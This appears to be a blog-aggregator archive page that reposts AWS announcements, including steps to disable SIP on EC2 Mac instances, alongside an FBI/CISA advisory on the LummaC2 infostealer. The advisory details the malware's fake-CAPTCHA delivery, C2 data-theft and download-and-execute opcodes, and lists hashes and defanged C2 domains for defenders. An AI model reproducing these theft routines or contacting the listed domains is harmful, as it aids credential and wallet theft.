Monthly Archives: May 2025

AWS

Configure System Integrity Protection (SIP) on Amazon EC2 Mac instances

Leave a comment
This post was originally published on this site

I’m pleased to announce developers can now programmatically disable Apple System Integrity Protection (SIP) on their Amazon EC2 Mac instances. System Integrity Protection (SIP), also known as rootless, is a security feature introduced by Apple in OS X El Capitan (2015, version 10.11). It’s designed to protect the system from potentially harmful software by restricting the power of the root user account. SIP is enabled by default on macOS.

SIP safeguards the system by preventing modification of protected files and folders, restricting access to system-owned files and directories, and blocking unauthorized software from selecting a startup disk. The primary goal of SIP is to address the security risk linked to unrestricted root access, which could potentially allow malware to gain full control of a device with just one password or vulnerability. By implementing this protection, Apple aims to ensure a higher level of security for macOS users, especially considering that many users operate on administrative accounts with weak or no passwords.

While SIP provides excellent protection against malware for everyday use, developers might occasionally need to temporarily disable it for development and testing purposes. For instance, when creating a new device driver or system extension, disabling SIP is necessary to install and test the code. Additionally, SIP might block access to certain system settings required for your software to function properly. Temporarily disabling SIP grants you the necessary permissions to fine-tune programs for macOS. However, it’s crucial to remember that this is akin to briefly disabling the vault door for authorized maintenance, not leaving it permanently open.

Disabling SIP on a Mac requires physical access to the machine. You have to restart the machine in recovery mode, then disable SIP with the csrutil command line tool, then restart the machine again.

Until today, you had to operate with the standard SIP settings on EC2 Mac instances. The physical access requirement and the need to boot in recovery mode made integrating SIP with the Amazon EC2 control plane and EC2 API challenging. But that’s no longer the case! You can now disable and re-enable SIP at will on your Amazon EC2 Mac instances. Let me show you how.

Let’s see how it works
Imagine I have an Amazon EC2 Mac instance started. It’s a mac2-m2.metal instance, running on an Apple silicon M2 processor. Disabling or enabling SIP is as straightforward as calling a new EC2 API: CreateMacSystemIntegrityProtectionModificationTask. This API is asynchronous; it starts the process of changing the SIP status on your instance. You can monitor progress using another new EC2 API: DescribeMacModificationTasks. All I need to know is the instance ID of the machine I want to work with.

Prerequisites
On Apple silicon based EC2 Mac instances and more recent type of machines, before calling the new EC2 API, I must set the ec2-user user password and enable secure token for that user on macOS. This requires connecting to the machine and typing two commands in the terminal.

# on the target EC2 Mac instance
# Set a password for the ec2-user user
~ % sudo /usr/bin/dscl . -passwd /Users/ec2-user
New Password: (MyNewPassw0rd)

# Enable secure token, with the same password, for the ec2-user
# old password is the one you just set with dscl
~ % sysadminctl -newPassword MyNewPassw0rd -oldPassword MyNewPassw0rd
2025-03-05 13:16:57.261 sysadminctl[3993:3033024] Attempting to change password for ec2-user…
2025-03-05 13:16:58.690 sysadminctl[3993:3033024] SecKeychainCopyLogin returned -25294
2025-03-05 13:16:58.690 sysadminctl[3993:3033024] Failed to update keychain password (-25294)
2025-03-05 13:16:58.690 sysadminctl[3993:3033024] - Done

# The error about the KeyChain is expected. I never connected with the GUI on this machine, so the Login keychain does not exist
# you can ignore this error.  The command below shows the list of keychains active in this session
~ % security list
    "/Library/Keychains/System.keychain"

# Verify that the secure token is ENABLED
~ % sysadminctl -secureTokenStatus ec2-user
2025-03-05 13:18:12.456 sysadminctl[4017:3033614] Secure token is ENABLED for user ec2-user

Change the SIP status
I don’t need to connect to the machine to toggle the SIP status. I only need to know its instance ID. I open a terminal on my laptop and use the AWS Command Line Interface (AWS CLI) to retrieve the Amazon EC2 Mac instance ID.

 aws ec2 describe-instances 
         --query "Reservations[].Instances[?InstanceType == 'mac2-m2.metal' ].InstanceId" 
         --output text

i-012a5de8da47bdff7

Now, still from the terminal on my laptop, I disable SIP with the create-mac-system-integrity-protection-modification-task command:

echo '{"rootVolumeUsername":"ec2-user","rootVolumePassword":"MyNewPassw0rd"}' > tmpCredentials
aws ec2 create-mac-system-integrity-protection-modification-task 
--instance-id "i-012a5de8da47bdff7" 
--mac-credentials fileb://./tmpCredentials 
--mac-system-integrity-protection-status "disabled" && rm tmpCredentials

{
    "macModificationTask": {
        "instanceId": "i-012a5de8da47bdff7",
        "macModificationTaskId": "macmodification-06a4bb89b394ac6d6",
        "macSystemIntegrityProtectionConfig": {},
        "startTime": "2025-03-14T14:15:06Z",
        "taskState": "pending",
        "taskType": "sip-modification"
    }
}

After the task is started, I can check its status with the aws ec2 describe-mac-modification-tasks command.

{
    "macModificationTasks": [
        {
            "instanceId": "i-012a5de8da47bdff7",
            "macModificationTaskId": "macmodification-06a4bb89b394ac6d6",
            "macSystemIntegrityProtectionConfig": {
                "debuggingRestrictions": "",
                "dTraceRestrictions": "",
                "filesystemProtections": "",
                "kextSigning": "",
                "nvramProtections": "",
                "status": "disabled"
            },
            "startTime": "2025-03-14T14:15:06Z",
            "tags": [],
            "taskState": "in-progress",
            "taskType": "sip-modification"
        },
...

The instance initiates the process and a series of reboots, during which it becomes unreachable. This process can take 60–90 minutes to complete. After that, when I see the status in the console becoming available again, I connect to the machine through SSH or EC2 Instance Connect, as usual.

➜  ~ ssh ec2-user@54.99.9.99
Warning: Permanently added '54.99.9.99' (ED25519) to the list of known hosts.
Last login: Mon Feb 26 08:52:42 2024 from 1.1.1.1

    ┌───┬──┐   __|  __|_  )
    │ ╷╭╯╷ │   _|  (     /
    │  └╮  │  ___|___|___|
    │ ╰─┼╯ │  Amazon EC2
    └───┴──┘  macOS Sonoma 14.3.1

➜  ~ uname -a
Darwin Mac-mini.local 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:30:27 PST 2023; root:xnu-10002.81.5~7/RELEASE_ARM64_T8103 arm64

➜ ~ csrutil --status 
System Integrity Protection status: disabled.

When to disable SIP
Disabling SIP should be approached with caution because it opens up the system to potential security risks. However, as I mentioned in the introduction of this post, you might need to disable SIP when developing device drivers or kernel extensions for macOS. Some older applications might also not function correctly when SIP is enabled.

Disabling SIP is also required to turn off Spotlight indexing. Spotlight can help you quickly find apps, documents, emails and other items on your Mac. It’s very convenient on desktop machines, but not so much on a server. When there is no need to index your documents as they change, turning off Spotlight will release some CPU cycles and disk I/O.

Things to know
There are a couple of additional things to know about disabling SIP on Amazon EC2 Mac:

  • Disabling SIP is available through the API and AWS SDKs, the AWS CLI, and the AWS Management Console.
  • On Apple silicon, the setting is volume based. So if you replace the root volume, you need to disable SIP again. On Intel, the setting is Mac host based, so if you replace the root volume, SIP will still be disabled.
  • After disabling SIP, it will be enabled again if you stop and start the instance. Rebooting an instance doesn’t change its SIP status.
  • SIP status isn’t transferable between EBS volumes. This means SIP will be disabled again after you restore an instance from an EBS snapshot or if you create an AMI from an instance where SIP is enabled.

These new APIs are available in all Regions where Amazon EC2 Mac is available, at no additional cost. Try them today.

— seb

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)

Security

New Variant of Crypto Confidence Scam, (Wed, May 21st)

Leave a comment
This post was originally published on this site

In February, we had a few diaries about crypto wallet scams. We saw these scams use YouTube comments, but they happened via other platforms and messaging systems, not just YouTube [1]. The scam was a bit convoluted: The scammer posted the secret key to their crypto wallet. Usually, this would put their crypto wallet at risk of being emptied. But the wallet they used came with a twist: A second key was required. The scammer counted on the victim paying the transaction fee, which the scammer would receive, before attempting to withdraw the funds.

Security

Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations

Leave a comment
This post was originally published on this site

Summary

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint advisory to disseminate known tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) associated with threat actors deploying the LummaC2 information stealer (infostealer) malware. LummaC2 malware is able to infiltrate victim computer networks and exfiltrate sensitive information, threatening vulnerable individuals’ and organizations’ computer networks across multiple U.S. critical infrastructure sectors. According to FBI information and trusted third-party reporting, this activity has been observed as recently as May 2025. The IOCs included in this advisory were associated with LummaC2 malware infections from November 2023 through May 2025.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of LummaC2 malware.

Download the PDF version of this report:

AA25-141B Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations
(PDF, 1.28 MB
)

For a downloadable copy of IOCs, see:

AA25-141B STIX XML
(XML, 146.54 KB
)
AA25-141B STIX JSON
(JSON, 300.90 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for threat actor activity mapped to MITRE ATT&CK tactics and techniques.

Overview

LummaC2 malware first appeared for sale on multiple Russian-language speaking cybercriminal forums in 2022. Threat actors frequently use spearphishing hyperlinks and attachments to deploy LummaC2 malware payloads [T1566.001, T1566.002]. Additionally, threat actors rely on unsuspecting users to execute the payload by clicking a fake Completely Automated Public Turing Test to tell Computers and Humans Apart (CAPTCHA). The CAPTCHA contains instructions for users to then open the Windows Run window (Windows Button + R) and paste clipboard contents (“CTRL + V”). After users press “enter” a subsequent Base64-encoded PowerShell process is executed.

To obfuscate their operations, threat actors have embedded and distributed LummaC2 malware within spoofed or fake popular software (i.e., multimedia player or utility software) [T1036]. The malware’s obfuscation methods allow LummaC2 actors to bypass standard cybersecurity measures, such as Endpoint Detection and Response (EDR) solutions or antivirus programs, designed to flag common phishing attempts or drive-by downloads [T1027].

Once a victim’s computer system is infected, the malware can exfiltrate sensitive user information, including personally identifiable information, financial credentials, cryptocurrency wallets, browser extensions, and multifactor authentication (MFA) details without immediate detection [TA0010, T1119]. Private sector statistics indicate there were more than 21,000 market listings selling LummaC2 logs on multiple cybercriminal forums from April through June of 2024, a 71.7 percent increase from April through June of 2023.

File Execution

Upon execution, the LummaC2.exe file will enter its main routine, which includes four sub-routines (see Figure 1).

Figure 1. LummaC2 Main Routine

Figure 1. LummaC2 Main Routine

The first routine decrypts strings for a message box that is displayed to the user (see Figure 2).

Figure 2. Message Box

Figure 2. Message Box

If the user selects No, the malware will exit. If the user selects Yes, the malware will move on to its next routine, which decrypts its callback Command and Control (C2) domains [T1140]. A list of observed domains is included in the Indicators of Compromise section.

After each domain is decoded, the implant will attempt a POST request [T1071.001] (see Figure 3).

Figure 3. Post Request

Figure 3. Post Request

If the POST request is successful, a pointer to the decoded domain string is saved in a global variable for later use in the main C2 routine used to retrieve JSON formatted commands (see Figure 4).

Figure 4. Code Saving Successful Callback Request

Figure 4. Code Saving Successful Callback Request

Once a valid C2 domain is contacted and saved, the malware moves on to the next routine, which queries the user’s name and computer name utilizing the Application Programming Interfaces (APIs) GetUserNameW and GetComputerNameW respectively [T1012]. The returned data is then hashed and compared against a hard-coded hash value (see Figure 5).

Figure 5. User and Computer Name Check

Figure 5. User and Computer Name Check

The hashing routine was not identified as a standard algorithm; however, it is a simple routine that converts a Unicode string to a 32-bit hexadecimal value.

If the username hash is equal to the value 0x56CF7626, then the computer name is queried. If the computer name queried is seven characters long, then the name is hashed and checked against the hard-coded value of 0xB09406C7. If both values match, a final subroutine will be called with a static value of the computer name hash as an argument. If this routine is reached, the process will terminate. This is most likely a failsafe to prevent the malware from running on the attacker’s system, as its algorithms are one-way only and will not reveal information on the details of the attacker’s own hostname and username.

If the username and hostname check function returns zero (does not match the hard-coded values), the malware will enter its main callback routine. The LummaC2 malware will contact the saved hostname from the previous check and send the following POST request (see Figure 6).

Figure 6. Second POST Request

Figure 6. Second POST Request

The data returned from the C2 server is encrypted. Once decoded, the C2 data is in a JSON format and is parsed by the LummaC2 malware. The C2 uses the JSON configuration to parse its browser extensions and target lists using the ex key, which contains an array of objects (see Figure 7).

Figure 7. Parsing of ex JSON Value

Figure 7. Parsing of ex JSON Value

Parsing the c key contains an array of objects, which will give the implant its C2 (see Figure 8).

Figure 8. Parsing of c JSON Value

Figure 8. Parsing of c JSON Value

C2 Instructions

Each array object that contains the JSON key value of t will be evaluated as a command opcode, resulting in the C2 instructions in the subsections below.

1. Opcode 0 – Steal Data Generic

This command allows five fields to be defined when stealing data, offering the most flexibility. The Opcode O command option allows LummaC2 affiliates to add their custom information gathering details (see Table 1).

Table 2. Opcode 1 Options
Key Value
p Path to steal from
m File extensions to read
z Output directory to store stolen data
d Depth of recursiveness
fs Maximum file size

2. Opcode 1 – Steal Browser Data

This command only allows for two options: a path and the name of the output directory. This command, based on sample configuration downloads, is used for browser data theft for everything except Mozilla [T1217] (see Table 2).

Table 2. Opcode 1 Options
Key Value
p Path to steal from
z Name of Browser – Output

3. Opcode 2 – Steal Browser Data (Mozilla)

This command is identical to Opcode 1; however, this option seems to be utilized solely for Mozilla browser data (see Table 3).

Table 3. Opcode 2 Options
Key Value
p Path to steal from
z Name of Browser – Output

4. Opcode 3 – Download a File

This command contains three options: a URL, file extension, and execution type. The configuration can specify a remote file with u to download and create the extension specified in the ft key [T1105] (see Table 4).

Table 4. Opcode 3 Options
Key Value
u URL for Download
ft File Extension
e  Execution Type

The e value can take two values: 0 or 1. This specifies how to execute the downloaded file either with the LoadLibrary API or via the command line with rundll32.exe [T1106] (see Table 5).

Table 5. Execution Types
Key Value
e=0 Execute with LoadLibraryW()
e=1 Executive with rund1132.exe

5. Take Screenshot

If the configuration JSON file has a key of “se” and its value is “true,” the malware will take a screenshot in BMP format and upload it to the C2 server.

6. Delete Self

If the configuration JSON file has a key of “ad” and its value is “true,” the malware will enter a routine to delete itself.

The command shown in Figure 9 will be decoded and executed for self-deletion.

Figure 9. Self-Deletion Command Line

Figure 9. Self-Deletion Command Line

Figure 10 depicts the above command line during execution.

Figure 10. Decoded Command Line in Memory

Figure 10. Decoded Command Line in Memory

Host Modifications

Without any C2 interactions, the LummaC2 malware does not create any files on the infected drive. It simply runs in memory, gathers system information, and exfiltrates it to the C2 server [T1082]. The commands returned from the C2 server could indicate that it drops additional files and/or saves data to files on the local hard drive. This is variable, as these commands come from the C2 server and are mutable.

Decrypted Strings

Below is a list of hard-coded decrypted strings located in the binary (see Figure 11).

Figure 11. Decoded Strings

Figure 11. Decoded Strings

Indicators of Compromise

See Table 6 and Table 7 for LummaC2 IOCs obtained by the FBI and trusted third parties.

Disclaimer: The authoring agencies recommend organizations investigate and vet these indicators of compromise prior to taking action, such as blocking.

Table 6. LummaC2 Executable Hashes
Executables Type
4AFDC05708B8B39C82E60ABE3ACE55DB (LummaC2.exe from November 2023) MD5
E05DF8EE759E2C955ACC8D8A47A08F42 (LummaC2.exe from November 2023) MD5
C7610AE28655D6C1BCE88B5D09624FEF MD5
1239288A5876C09D9F0A67BCFD645735168A7C80 (LummaC2.exe from November 2023) SHA1
B66DA4280C6D72ADCC68330F6BD793DF56A853CB (LummaC2.exe from November 2023) SHA1
3B267FA5E1D1B18411C22E97B367258986E871E5 TLSH
19CC41A0A056E503CC2137E19E952814FBDF14F8D83F799AEA9B96ABFF11EFBB (November 2023) SHA256
2F31D00FEEFE181F2D8B69033B382462FF19C35367753E6906ED80F815A7924F (LummaC2.exe from November 2023) SHA256
4D74F8E12FF69318BE5EB383B4E56178817E84E83D3607213160276A7328AB5D SHA256
325daeb781f3416a383343820064c8e98f2e31753cd71d76a886fe0dbb4fe59a SHA256
76e4962b8ccd2e6fd6972d9c3264ccb6738ddb16066588dfcb223222aaa88f3c SHA256
7a35008a1a1ae3d093703c3a34a21993409af42eb61161aad1b6ae4afa8bbb70 SHA256
a9e9d7770ff948bb65c0db24431f75dd934a803181afa22b6b014fac9a162dab SHA256
b287c0bc239b434b90eef01bcbd00ff48192b7cbeb540e568b8cdcdc26f90959 SHA256
ca47c8710c4ffb4908a42bd986b14cddcca39e30bb0b11ed5ca16fe8922a468b SHA256
Table 7. LummaC2 DLL Binaries
DLL Binaries Type
iphlpapi.dll IP Helper API
winhttp.dll Windows HTTP Services

The following are domains observed deploying LummaC2 malware.

Disclaimer: The domains below are historical in nature and may not currently be malicious.

  • Pinkipinevazzey[.]pw
  • Fragnantbui[.]shop
  • Medicinebuckerrysa[.]pw
  • Musicallyageop[.]pw
  • stogeneratmns[.]shop
  • wallkedsleeoi[.]shop
  • Tirechinecarpet[.]pw
  • reinforcenh[.]shop
  • reliabledmwqj[.]shop
  • Musclefarelongea[.]pw
  • Forbidstow[.]site
  • gutterydhowi[.]shop
  • Fanlumpactiras[.]pw
  • Computeryrati[.]site
  • Contemteny[.]site
  • Ownerbuffersuperw[.]pw
  • Seallysl[.]site
  • Dilemmadu[.]site
  • Freckletropsao[.]pw
  • Opposezmny[.]site
  • Faulteyotk[.]site
  • Hemispheredodnkkl[.]pw
  • Goalyfeastz[.]site
  • Authorizev[.]site
  • ghostreedmnu[.]shop
  • Servicedny[.]site
  • blast-hubs[.]com
  • offensivedzvju[.]shop
  • friendseforever[.]help
  • blastikcn[.]com
  • vozmeatillu[.]shop
  • shiningrstars[.]help
  • penetratebatt[.]pw
  • drawzhotdog[.]shop
  • mercharena[.]biz
  • pasteflawwed[.]world
  • generalmills[.]pro
  • citywand[.]live
  • hoyoverse[.]blog
  • nestlecompany[.]pro
  • esccapewz[.]run
  • dsfljsdfjewf[.]info
  • naturewsounds[.]help
  • travewlio[.]shop
  • decreaserid[.]world
  • stormlegue[.]com
  • touvrlane[.]bet
  • governoagoal[.]pw
  • paleboreei[.]biz
  • calmingtefxtures[.]run
  • foresctwhispers[.]top
  • tracnquilforest[.]life
  • sighbtseeing[.]shop
  • advennture[.]top
  • collapimga[.]fun
  • holidamyup[.]today
  • pepperiop[.]digital
  • seizedsentec[.]online
  • triplooqp[.]world
  • easyfwdr[.]digital
  • strawpeasaen[.]fun
  • xayfarer[.]live
  • jrxsafer[.]top
  • quietswtreams[.]life
  • oreheatq[.]live
  • plantainklj[.]run
  • starrynsightsky[.]icu
  • castmaxw[.]run
  • puerrogfh[.]live
  • earthsymphzony[.]today
  • weldorae[.]digital
  • quavabvc[.]top
  • citydisco[.]bet
  • steelixr[.]live
  • furthert[.]run
  • featureccus[.]shop
  • smeltingt[.]run
  • targett[.]top
  • mrodularmall[.]top
  • ferromny[.]digital
  • ywmedici[.]top
  • jowinjoinery[.]icu
  • rodformi[.]run
  • legenassedk[.]top
  • htardwarehu[.]icu
  • metalsyo[.]digital
  • ironloxp[.]live
  • cjlaspcorne[.]icu
  • navstarx[.]shop
  • bugildbett[.]top
  • latchclan[.]shop
  • spacedbv[.]world
  • starcloc[.]bet
  • rambutanvcx[.]run
  • galxnetb[.]today
  • pomelohgj[.]top
  • scenarisacri[.]top
  • jawdedmirror[.]run
  • changeaie[.]top
  • lonfgshadow[.]live
  • liftally[.]top
  • nighetwhisper[.]top
  • salaccgfa[.]top
  • zestmodp[.]top
  • owlflright[.]digital
  • clarmodq[.]top
  • piratetwrath[.]run
  • hemispherexz[.]top
  • quilltayle[.]live
  • equatorf[.]run
  • latitudert[.]live
  • longitudde[.]digital
  • climatologfy[.]top
  • starofliught[.]top

MITRE ATT&CK Tactics and Techniques

See Table 8 through Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 8. Initial Access
Technique Title ID Use
Phishing T1566 Threat actors delivered LummaC2 malware through phishing emails.
Phishing: Spearphishing Attachment T1566.001 Threat actors used spearphishing attachments to deploy LummaC2 malware payloads.
Phishing: Spearphishing Link T1566.002 Threat actors used spearphishing hyperlinks to deploy LummaC2 malware payloads.
Table 9. Defense Evasion
Technique Title ID Use
Obfuscated Files or Information T1027 Threat actors obfuscated the malware to bypass standard cybersecurity measures designed to flag common phishing attempts or drive-by downloads.
Masquerading T1036 Threat actors delivered LummaC2 malware via spoofed software.
Deobfuscate/Decode Files or Information T1140 Threat actors used LummaC2 malware to decrypt its callback C2 domains.
Table 10. Discovery
Technique Title ID Use
Query Registry T1012 Threat actors used LummaC2 malware to query the user’s name and computer name utilizing the APIs GetUserNameW and GetComputerNameW.
Browser Information Discovery T1217 Threat actors used LummaC2 malware to steal browser data.
Table 11. Collection
Technique Title ID Use
Automated Collection T1119 LummaC2 malware has automated collection of various information including cryptocurrency wallet details.
Table 12. Command and Control
Technique Title ID Use
Application Layer Protocol: Web Protocols T1071.001 Threat actors used LummaC2 malware to attempt POST requests.
Ingress Tool Transfer T1105 Threat actors used LummaC2 malware to transfer a remote file to compromised systems.
Table 13. Exfiltration
Technique Title ID Use
Exfiltration TA0010 Threat actors used LummaC2 malware to exfiltrate sensitive user information, including traditional credentials, cryptocurrency wallets, browser extensions, and MFA details without immediate detection.
Native API T1106 Threat actors used LummaC2 malware to download files with native OS APIs.

Mitigations

The FBI and CISA recommend organizations implement the mitigations below to reduce the risk of compromise by LummaC2 malware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

  • Separate User and Privileged Accounts: Allow only necessary users and applications access to the registry [CPG 2.E].
  • Monitor and detect suspicious behavior during exploitation [CPG 3.A].
    • Monitor and detect suspicious behavior, creation and termination events, and unusual and unexpected processes running.
    • Monitor API calls that may attempt to retrieve system information.
    • Analyze behavior patterns from process activities to identify anomalies.
    • For more information, visit CISA’s guidance on: Enhanced Visibility and Hardening Guidance for Communications Infrastructure.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
  • Protect against threat actor phishing campaigns by implementing CISA’s Phishing Guidance and Phishing-resistant multifactor authentication. [CPG 2.H]
  • Log Collection: Regularly monitoring and reviewing registry changes and access logs can support detection of LummaC2 malware [CPG 2.T].
  • Implement authentication, authorization, and accounting (AAA) systems [M1018] to limit actions users can perform and review logs of user actions to detect unauthorized use and abuse. Apply principles of least privilege to user accounts and groups, allowing only the performance of authorized actions.
  • Audit user accounts and revoke credentials for departing employees, removing those that are inactive or unnecessary on a routine basis [CPG 2.D]. Limit the ability for user accounts to create additional accounts.
  • Keep systems up to date with regular updates, patches, hot fixes, and service packs that may minimize vulnerabilities. Learn more by visiting CISA’s webpage: Secure our World Update Software.
  • Secure network devices to restrict command line access.
  • Use segmentation to prevent access to sensitive systems and information, possibly with the use of Demilitarized Zone (DMZ) or virtual private cloud (VPC) instances to isolate systems [CPG 2.F].
  • Monitor and detect API usage, looking for unusual or malicious behavior.

Validate Security Controls

In addition to applying mitigations, the FBI and CISA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI and CISA recommend testing your existing security controls inventory to assess performance against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 8 through Table 13).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Reporting

Your organization has no obligation to respond or provide information to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include the status and scope of infection, estimated loss, date of infection, date detected, initial attack vector, and host- and network-based indicators.

To report information, please contact the FBI’s Internet Crime Complaint Center (IC3), your local FBI field office, or CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by the FBI and CISA.

Acknowledgements

ReliaQuest contributed to this advisory.

Version History

May 21, 2025: Initial version.

AWS

Introducing the AWS Product Lifecycle page and AWS service availability updates

Leave a comment
This post was originally published on this site

Today, we’re introducing the AWS Product Lifecycle page, a centralized resource that provides comprehensive information about service availability changes across AWS.

The new AWS Product Lifecycle page consolidates all service availability information in one convenient location. This dedicated resource offers detailed visibility into three key categories of changes: 1) services closing access to new customers, 2) services that have announced end of support, and 3) services that have reached their end of support date. For each service listed, you can access specific end-of-support dates, recommended migration paths, and links to relevant documentation, enabling more efficient planning for service transitions.

The AWS Product Lifecycle page helps you stay informed about changes that may affect your workloads and enables more efficient planning for service transitions. The centralized nature of this resource reduces the time and effort needed to track service lifecycle information, allowing you to focus more on your core business objectives and less on administrative overhead.

Today on the new Product Lifecycle page, you will see updates about the following changes to services and capabilities:

AWS service availability updates in 2025
After careful consideration, we’re announcing availability changes for a select group of AWS services and features. We understand that the decision to end support for a service or feature significantly impacts your operations. We approach such decisions only after thorough evaluation, and when end of support is necessary, we provide detailed guidance on available alternatives and comprehensive support for migration.

Services closing access to new customers
We’re closing access to new customers after June 20, 2025, for the following services or capabilities listed. Existing customers will be able to continue to use the service.

Services that have announced end of support
The following services will no longer be supported. To find out more about service specific end-of-support dates, as well as detailed migration information, please visit individual service documentation pages.

Services that have reached their end of support
The following services have reached their end of support date and can no longer be accessed:

  • AWS Private 5G
  • AWS DataSync Discovery

The AWS Product Lifecycle page is available and all the changes described in this post are listed on the new page now. We recommend that you bookmark this page and check out What’s New with AWS? for upcoming AWS service availability updates. For more information about using this new resource, contact us or your usual AWS Support contacts for specific guidance on transitioning affected workloads.

— seb

AWS

Join AWS Cloud Infrastructure Day to learn cutting-edge innovations building global cloud infrastructure

Leave a comment
This post was originally published on this site

I want to introduce the AWS Cloud Infrastructure Day to provide a comprehensive showcase of latest innovations in AWS cloud infrastructure. This event will highlight cutting-edge advances across compute, artificial intelligence and machine learning (AI/ML), storage solutions, networking capabilities, serverless, and accelerated technologies, and global infrastructure.

Join us for AWS Cloud Infrastructure Day, a free-to-attend one-day virtual event on May 22, 2025, starting at 11:00 AM PDT (2:00 PM EDT). We will stream the event simultaneously across multiple platforms, including LinkedIn Live, Twitter, YouTube, and Twitch.

Here are some of the highlights you can expect from this event:

Willem Visser, VP of EC2 Technology will open with the introduction of the AWS journey since 2006, when Amazon Elastic Compute Cloud (Amazon EC2) was launched with the goal of customer-obsessed innovation. He will speak about the progress made over nearly two decades in cloud infrastructure to support both startups and enterprise workloads based on scale, capacity, and flexibility.

You can learn how AWS developed beyond computing instances to create a complete cloud infrastructure, including the parallel evolution of services like storage and networking capabilities.

Todd Kennedy, Principal Engineer, GoDaddy, will share GoDaddy’s Graviton adoption journey and the benefits it reaped from Graviton. Todd will walk through an example to demonstrate moving Rust workloads to Graviton. Learn how GoDaddy achieved 40 percent compute cost savings and over 20 percent performance gains.

This event covers a variety of topics related to AWS Cloud infrastructure. Here are interesting topics that caught my interest:

  • Generative AI at the edge – You can learn how to select, fine-tune, and deploy small language models (SLMs) for on-premises and edge use cases due to data residency requirements using AWS hybrid and edge services.
  • Serverless for agentic AI auditability – You can learn how AWS Step Functions and AWS Lambda transform opaque agentic AI system operations into transparent, auditable workflows.
  • Accelerated computing – You can get a close look at AWS innovation across silicon, server, and data centers and learn how customers are using AI chips. Learn how you can get started and reduce your generative AI costs.
  • Networking capability – You can learn how AWS infrastructure—from physical fiber to software-defined networking—enables unparalleled performance and reliability at global scale. The session covers modern application networking patterns while emphasizing secure connectivity solutions for hybrid environments.

This event is perfect for technical decision-makers and developers and offers deep technical insights and hands-on demonstrations of the latest AWS Cloud infrastructure solutions.

To learn more details, review the event schedule and register for AWS Cloud Infrastructure Day.

— Channy

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)

AWS

Amazon Inspector enhances container security by mapping Amazon ECR images to running containers

Leave a comment
This post was originally published on this site

When running container workloads, you need to understand how software vulnerabilities create security risks for your resources. Until now, you could identify vulnerabilities in your Amazon Elastic Container Registry (Amazon ECR) images, but couldn’t determine if these images were active in containers or track their usage. With no visibility if these images were being used on running clusters, you had limited ability to prioritize fixes based on actual deployment and usage patterns.

Starting today, Amazon Inspector offers two new features that enhance vulnerability management, giving you a more comprehensive view of your container images. First, Amazon Inspector now maps Amazon ECR images to running containers, enabling security teams to prioritize vulnerabilities based on containers currently running in your environment. With these new capabilities, you can analyze vulnerabilities in your Amazon ECR images and prioritize findings based on whether they are currently running and when they last ran in your container environment. Additionally, you can see the cluster Amazon Resource Name (ARN), number EKS pods or ECS tasks where an image is deployed, helping you prioritize fixes based on usage and severity.

Second, we’re extending vulnerability scanning support to minimal base images including scratch, distroless, and Chainguard images, and extending support for additional ecosystems including Go toolchain, Oracle JDK & JRE, Amazon Corretto, Apache Tomcat, Apache httpd, WordPress (core, themes, plugins), and Puppeteer, helping teams maintain robust security even in highly optimized container environments.

Through continual monitoring and tracking of images running on containers, Amazon Inspector helps teams identify which container images are actively running in their environment and where they’re deployed, detecting Amazon ECR images running on containers in Amazon Elastic Container Service (Amazon ECS) and Amazon Elastic Kubernetes Service (Amazon EKS), and any associated vulnerabilities. This solution supports teams managing Amazon ECR images across single AWS accounts, cross-account scenarios, and AWS Organizations with delegated administrator capabilities, enabling centralized vulnerability management based on container images running patterns.

Let’s see it in action
Amazon ECR image scanning helps identify vulnerabilities in your container images through enhanced scanning, which integrates with Amazon Inspector to provide automated, continual scanning of your repositories. To use this new feature you have to enable enhanced scanning through the Amazon ECR console, you can do it by following the steps in the Configuring enhanced scanning for images in Amazon ECR documentation page. I already have Amazon ECR enhanced scanning, so I don’t have to do any action.

